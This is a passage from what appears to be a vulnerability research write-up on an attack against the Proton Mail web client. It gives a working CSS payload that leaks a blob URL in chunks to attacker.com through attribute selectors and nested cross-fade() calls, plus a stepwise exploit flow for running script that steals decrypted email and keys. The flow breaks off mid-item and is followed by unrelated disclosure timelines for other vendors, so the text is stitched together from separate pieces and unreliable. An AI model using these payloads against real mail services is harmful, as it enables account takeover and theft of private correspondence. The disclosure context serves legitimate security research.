This way, the attacker server will know all the different chunks that the UUID consists of, but not their order. To reconstruct the correct UUID, the server has to stitch it back together by starting with one chunk and finding an overlapping one.

Starting with the chunk 8c2, the attacker would look for any chunk starting with c2, finding the chunk c2a. From there they would look for a chunk starting with 2a, and so on. In the end, the full blob UUID should be reconstructed, unless there are multiple chunks that start with the same two characters.

The curious reader might wonder why we chose 3-character chunks in favor of other lengths. We found 3 to be the sweet spot between CSS size and probability of collisions, with the CSS being about 100 KB in size and the chance for a collision being below 1%.

If we made each chunk only 2 characters, we would reduce the CSS size but drastically increase the chance that a chunk has multiple possible successors because the overlap between chunks is only 1 character. Going for longer chunks would reduce this possibility, but the amount of CSS selectors would grow exponentially. The following graphic shows the trade-off between CSS size and collision probability on logarithmic scales:
Now that we have a strategy to leak the blob URL, we need to implement it in CSS. This is where we encounter a problem: we cannot set multiple background images for the element we want to leak an attribute of because they would override each other.
Multiple Requests Per Element: cross-fade()
The solution is to look for a way to assign an arbitrary amount of background images to a single element so they would all be fetched by the browser. After many hours of reading the CSS spec, we found the cross-fade() CSS function. This function takes two images and a percentage as arguments and then returns an image resulting from overlaying both images. The image arguments can be specified as url()s, but they could also result from another call to the cross-fade() function! This means that we can nest an arbitrary amount of cross-fade() calls, forcing the browser to request all url()s that are used at the bottom of that nesting tree.

The following example shows what this nesting tree looks like. The browser has to load the images a.jpg and b.jpg before creating the resulting cross-faded image. The browser also has to load c.jpg before it can cross-fade it with the result of the other operation. The final result is a single image that can be assigned as an element's background image:
img {
    background-image: cross-fade(
        cross-fade(url('a.jpg'), url('b.jpg'), 50%),
        url('c.jpg'),
        50%
    );
}
With all hurdles resolved, the final CSS payload to leak a blob URL looks like this:
img[src*="abc"] { --abc: url("//attacker.com/abc") }
img[src*="bcd"] { --bcd: url("//attacker.com/bcd") }
/* ... */

img {
    background-image: cross-fade(
        cross-fade(var(--abc, none), var(--bcd, none), 50%),
        cross-fade(/* ... */),
        50%
    );
}
The first part consists of all the chunk selectors that would match when a specific substring is present in the UUID. Each of them sets a CSS variable to the URL that the browser should fetch to signal the attacker server that this selector matched.

The final selector is the one that includes all of these CSS variables in a big nested tree of cross-fade() calls. When the browser tries to render this last selector, it has to check each variable used. For all the variables set, the browser has to fetch the referenced URL to use the result to create the final crossfaded image.
All of the CSS variables that are not set are being treated as their fallback value none, so the browser will not request anything. This is what the leak looks like in the browser's network tab:
After the attacker server receives the chunks, it reconstructs the blob URL and sends a second email to the victim. This time, the email contains a <script> tag that uses the blob URL as its src, as well as a link that opens the blob URL in a new tab. The script tag will be enough for victims using Safari, as no iframe sandbox bypass is needed. Other victims will have to click on the link, which will open the link in a new tab and therefore bypass the iframe sandbox due to the allow-popups-to-escape-sandbox directive.

Once the JavaScript payload is executed, it can directly access the top windows where the Proton Mail app is running. Attackers can use this access to steal all emails in their decrypted form, send emails in the name of the victim, and potentially even steal the victim's cryptographic keys.

The whole exploit flow is summarized again here:
1. The attacker sends the stage 1 email that contains the following:
    a. The sanitizer bypass to be able to use arbitrary elements
    b. An attachment that is a JavaScript file and has the "application/javascript" content type. Its content is the malicious JavaScript payload that will be executed later.
    c. An "" element that references the attachment as its "src" attribute
    d. The CSS that can leak a blob URL to the attacker's server
2. The victim receives and opens the email
3. To render the email, the Proton Mail web client does the following:
    a. Create a blob URL from the attachment and set it as the "" element's "src" attribute
    b. Render the email's HTML in an iframe
4. The CSS included in the email now causes the browser to make requests to the attacker server, leaking the 3-character chunks of the blob URL
5. The attacker server reconstructs the blob URL from the chunks
6. The attacker server automatically sends the stage 2 email to the victim that contains the following:
    a. The sanitizer bypass to be able to use arbitrary elements
    b. A "

Date	Action
2023-07-31	We reported all issues to Enhancesoft
2023-07-31	Enhancesoft acknowledged the report
2023-08-07	Enhancesoft replicated the issue and suggested a patch
2023-10-25	Enhancesoft released patched versions v1.18.1 and v1.17.5

Date	Action
2023-10-11	We report all issues to the maintainers.
2023-10-26	We ask the maintainers for an update.
2023-10-26	The maintainers confirm the issues.
2023-10-27	We help the maintainers to fix both issues.
2023-11-08	The maintainers release the patched version 7.9.0.

Date	Action
2023-11-13	We reported all issues to the Jenkins Security team
2023-11-13	Maintainers acknowledged the report
2023-11-24	Maintainers confirmed the issues
2023-12-12	We helped the vendor verify the fix
2024-01-10	Maintainers updated us on other attack scenarios and the classification of Critical and High for our findings
2024-01-24	Maintainers assigned CVEs, and released advisory and patch versions 2.442, and LTS 2.426.3.

Date	Action
2023-07-03	We report all issues to Netgate
2023-07-05	Netgate acknowledges all issues and publishes patch commits
2023-10-31	Netgate publishes advisories for all issues
2023-11-06	Netgate releases patched version pfSense Plus 23.09
2023-11-16	Netgate releases patched version pfSense CE 2.7.1

Date	Action
Aug 8, 2023	We reported the two issues to Microsoft through their MSRC platform.
Aug 21, 2023	Microsoft confirmed the issues.
September 9, 2023	Microsoft closed the first issue as a duplicate of the second issue.
Sept 12, 2023	Visual Studio Code 1.82.1 is released, fixing CVE-2023-36742.

Date	Action
2023-06-07	We report the two vulnerabilities to GitLens
2023-06-07	We get an automated acceptance response from GitLens
2023-06-15	GitLens releases version 14.0.0 that prevents the vulnerable behavior in untrusted workspaces
2023-07-13	We notice the GitLens release and ask for CVEs and an update from GitLens
2023-07-13	We get another automated acceptance response from GitLens
2023-07-15	We get a ticket reference from GitLens, stating they are looking into it
2023-09-01	GitLens awards us with a $100 bug bounty for the Markdown issue
2023-11-03	CVE-2023-46944 is assigned by MITRE

Date	Action
2023-06-12	We report the vulnerability in GitHub Pull Requests and Issues to Microsoft
2023-06-16	Microsoft confirms the issue
2023-07-11	CVE-2023-36867 is assigned by Microsoft
2023-07-14	Microsoft releases a fix in version 0.66.2 of GitHub Pull Requests and Issues

Date	Action
2023-07-07	We report the issue to the maintainers
2023-07-08	Maintainers confirm the issue and start working on a patch
2023-07-17	OpenRefine Version 3.7.4 is released, which fixes the issue
2023-07-17	CVE-2023-37476 is assigned

Date	Action
2023-09-06, 10:44 CET	We report the issue to JetBrains.
2023-09-06, 12:39 CET	JetBrains confirms receipt of the report.
2023-09-06, 12:54 CET	JetBrains reproduces the issue.
2023-09-07	JetBrains fixes the issue in 2023.05 branch.
2023-09-12	JetBrains prepares the plugin that could be used as a workaround.
2023-09-14	JetBrains sends an update: The issue has been reproduced and confirmed to be a major security issue.
2023-09-18	TeamCity version 2023.05.4 is released, which fixes the vulnerability.
2023-09-18	JetBrains sends notifications to customers asking them to update as soon as possible.
2023-09-19	CVE-2023-42793 is published.
2023-09-21	Coordinated release of first blog posts from JetBrains and Sonar.
2023-09-27	Full disclosure after a public exploit was released.

Date	Action
2022-06-22	We send our detailed report to Tutanota
2022-06-23	Tutanota confirms the vulnerability
2022-06-24	Tutanota releases a patch in version 3.98.1
2022-07-28	Tutanota publishes a transparency blog post about the vulnerability

Date	Action
2022-06-28	We send our detailed report to Skiff
2022-06-30	Skiff deploys the fix to production